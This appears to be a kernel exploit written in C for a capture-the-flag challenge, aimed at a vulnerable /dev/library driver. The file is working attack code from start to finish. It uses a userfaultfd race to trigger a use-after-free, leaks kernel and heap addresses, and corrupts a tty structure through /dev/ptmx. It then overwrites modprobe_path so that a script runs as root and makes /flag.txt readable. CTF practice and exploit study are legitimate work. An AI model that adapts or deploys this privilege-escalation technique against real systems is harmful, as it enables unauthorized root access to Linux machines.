1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307
| #define _GNU_SOURCE #include <inttypes.h> #include <sys/types.h> #include <stdio.h> #include <linux/userfaultfd.h> #include <pthread.h> #include <errno.h> #include <unistd.h> #include <stdlib.h> #include <fcntl.h> #include <signal.h> #include <poll.h> #include <string.h> #include <sys/mman.h> #include <sys/syscall.h> #include <sys/ioctl.h> #include <poll.h> #include <assert.h>
#define stop(msg) { write(1, msg, strlen(msg)); getchar(); } #define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \ } while (0)
static int page_size;
#define ADD 0x3000 #define FREE 0x3001 #define REMOVE 0x3002 #define EDIT 0x3003 #define SHOW 0x3004
typedef struct _item { char buf[0x300]; unsigned long arg; struct _item* FD; struct _item* BK; }item;
typedef struct _arg { unsigned long ID; char *uptr; }uarg;
int fd; int ptmx_fd; uint64_t k_ptr; uint64_t h_ptr; uint64_t modprobe_path;
static void add(unsigned long id) { uarg obj; obj.ID = id; obj.uptr = NULL; ioctl(fd, ADD, &obj); } static void del(unsigned long id) { uarg obj; obj.ID = id; obj.uptr = NULL; ioctl(fd, FREE, &obj); } static void remove_all() { uarg obj; obj.ID = 0xdeadbeef; obj.uptr = NULL; ioctl(fd, REMOVE, &obj); } static void show(int id, char *ptr) { uarg obj; obj.ID = id; obj.uptr = ptr; ioctl(fd, SHOW, &obj); } static void edit(int id, char *ptr) { uarg obj; obj.ID = id; obj.uptr = ptr; ioctl(fd, EDIT, &obj); }
void print(uint64_t *ptr, unsigned long len) { for(int i=0; i <= len/8; i++) { printf("[%02x] %04llx => %016llx \n",i,i*8,ptr[i]); } }
static void * fault_handler_thread(void *arg) { static struct uffd_msg msg; static int fault_cnt = 0; long uffd; struct uffdio_copy uffdio_copy; ssize_t nread;
uffd = (long) arg;
for (;;) {
struct pollfd pollfd; int nready; pollfd.fd = uffd; pollfd.events = POLLIN; nready = poll(&pollfd, 1, -1); if (nready == -1) errExit("poll");
printf("\n-------------------------\nfault_handler_thread():\n");
nread = read(uffd, &msg, sizeof(msg)); if (nread == 0) { printf("EOF on userfaultfd!\n"); exit(EXIT_FAILURE); }
if (nread == -1) errExit("read");
if (msg.event != UFFD_EVENT_PAGEFAULT) { fprintf(stderr, "Unexpected event on userfaultfd\n"); exit(EXIT_FAILURE); }
printf("flags = %"PRIx64"\n", msg.arg.pagefault.flags); printf("address = %"PRIx64"\n", msg.arg.pagefault.address);
if(msg.arg.pagefault.flags & UFFD_PAGEFAULT_FLAG_WRITE) { printf("WRITE fault\n"); remove_all(); close(open("/dev/ptmx", O_RDWR | O_NOCTTY)); struct uffdio_range range; range.start = (unsigned long) msg.arg.pagefault.address & ~(page_size - 1); range.len = page_size; assert(ioctl(uffd, UFFDIO_UNREGISTER, &range) != -1); assert(ioctl(uffd, UFFDIO_WAKE, &range) != -1); } else { printf("READ fault\n"); remove_all(); ptmx_fd = open("/dev/ptmx", O_RDWR | O_NOCTTY); assert(ptmx_fd > 3); uint64_t* former_page = (uint64_t*)((msg.arg.pagefault.address & ~(page_size - 1)) - page_size); former_page[0] = 0x0000000100005401; former_page[1] = 0; former_page[2] = h_ptr - 0xffff888007250400 + 0xffff888000047e40; former_page[3] = h_ptr - 0xffff88800724e400 + 0xffff88800724e800;
uffdio_copy.src = (unsigned long) former_page; uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(page_size - 1); uffdio_copy.len = page_size; uffdio_copy.mode = 0; uffdio_copy.copy = 0; if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) errExit("ioctl-UFFDIO_COPY"); } fault_cnt++; } }
int main(int argc, char *argv[]) { long uffd; char *addr; uint64_t len; pthread_t thr; struct uffdio_api uffdio_api; struct uffdio_register uffdio_register; int s;
page_size = sysconf(_SC_PAGE_SIZE); len = 8 * page_size;
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); if (uffd == -1) errExit("userfaultfd");
uffdio_api.api = UFFD_API; uffdio_api.features = 0; if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) errExit("ioctl-UFFDIO_API");
addr = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (addr == MAP_FAILED) errExit("mmap");
printf("Address returned by mmap() = %p\n", addr);
uffdio_register.range.start = (unsigned long) addr; uffdio_register.range.len = len; uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING; if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) errExit("ioctl-UFFDIO_REGISTER");
s = pthread_create(&thr, NULL, fault_handler_thread, (void *) uffd); if (s != 0) { errno = s; errExit("pthread_create"); }
fd = open("/dev/library",O_RDWR); assert(fd > 2);
add(1); show(1, addr); h_ptr = ((uint64_t*)(addr))[0x40]; k_ptr = ((uint64_t*)(addr))[0x4d]; modprobe_path = k_ptr - 0xffffffff8114ec30 + 0xffffffff81837d00;
printf("k_ptr => 0x%llx \n",k_ptr); printf("h_ptr => 0x%llx \n",h_ptr); printf("modprobe_path => 0x%llx \n",modprobe_path);
add(1); edit(1, addr + page_size);
char *vft = malloc(0x300); char *x = "/tmp/x"; memset(vft, 0, 0x300); *(uint64_t*)(vft + 96) = k_ptr - 0xffffffff8114ec30 + 0xffffffff8113e9b0;
add(1); edit(1, vft); stop("break2"); ioctl(ptmx_fd, *(uint32_t*)(x + 0), modprobe_path + 0); ioctl(ptmx_fd, *(uint32_t*)(x + 4), modprobe_path + 4); system("echo -ne '#!/bin/sh\n/bin/chmod o+r /flag.txt' > /tmp/x"); system("chmod +x /tmp/x"); system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy"); system("chmod +x /tmp/dummy"); system("/tmp/dummy"); system("cat /flag.txt");
}
|